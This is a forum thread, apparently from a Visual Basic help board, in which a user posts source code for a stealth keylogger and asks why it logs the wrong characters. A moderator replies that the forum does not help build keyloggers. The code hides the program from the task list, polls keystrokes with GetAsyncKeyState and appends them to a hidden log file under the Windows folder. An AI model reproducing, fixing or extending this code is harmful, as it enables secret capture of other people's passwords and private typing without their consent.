Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Dim caps As Boolean
Dim shift As Boolean
Private Sub Form_Load()
If App.PrevInstance = True Then End
App.TaskVisible = False
If Dir("c:\windows\klogs.txt") <> "" Then
Open "c:\windows\klogs.txt" For Append As #1
Write #1,
Write #1, DateTime.Time
Write #1,
Close #1
End If
End Sub
Private Sub Timer1_Timer()
End Sub
Private Sub Timer2_Timer()
On Error GoTo skip
If Dir("c:\windows\klogs.txt") <> "" Then
Open "c:\windows\klogs.txt" For Append As #1
Write #1, Label1.Caption
Close #1
Else
Open "c:\windows\klogs.txt" For Output As #1
Write #1, DateTime.Time
Write #1,
Write #1, Label1.Caption
Close #1
End If
Label1.Caption = ""
skip:
End Sub
OK. He says to add the below code to Timer1 and this will print 'a' letter in the log file (klogs.txt) when ever a user presses 'a' letter key.
Private Sub Timer1_Timer()
ab:
If GetAsyncKeyState(20) <> 0 Then
If caps = True Then
Label1.Caption = Label1.Caption + "(/caps)"
caps = False
GoTo a
End If
Label1.Caption = Label1.Caption + "(caps)"
caps = True
End If
If GetAsyncKeyState(16) <> 0 Then
shift = True
End If
a:
If GetAsyncKeyState(65) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "A"
shift = False
GoTo b
End If
Label1.Caption = Label1.Caption + "a"
End If
b:
OK. But when i put the above code in timer1 and debug it and press 'a' letter key it doesn't write 'a' letter to the log file. it just writes 2 obliques ('''') when ever i press 'a' letter key to the log file.
PLEASE HELP ME IF I HAVE MADE SOME MISTAKE IN WRITING THE CODE.
AND ALSO YOU CAN CHECK MY FRIEND KEYLOGGER TUTORIAL IN VB WHICH HAS ALL THE SCREEN SHOTS AND CODE IN DETAIL.
We do not help people in developing KeyLoggers. What is the purpose of this KeyLogger, what are you going to use it for?
Use [code]your code here[/code] tags when you post source code
Search here before you post your question, someone might have already asked it before. My Articles
Bookmarks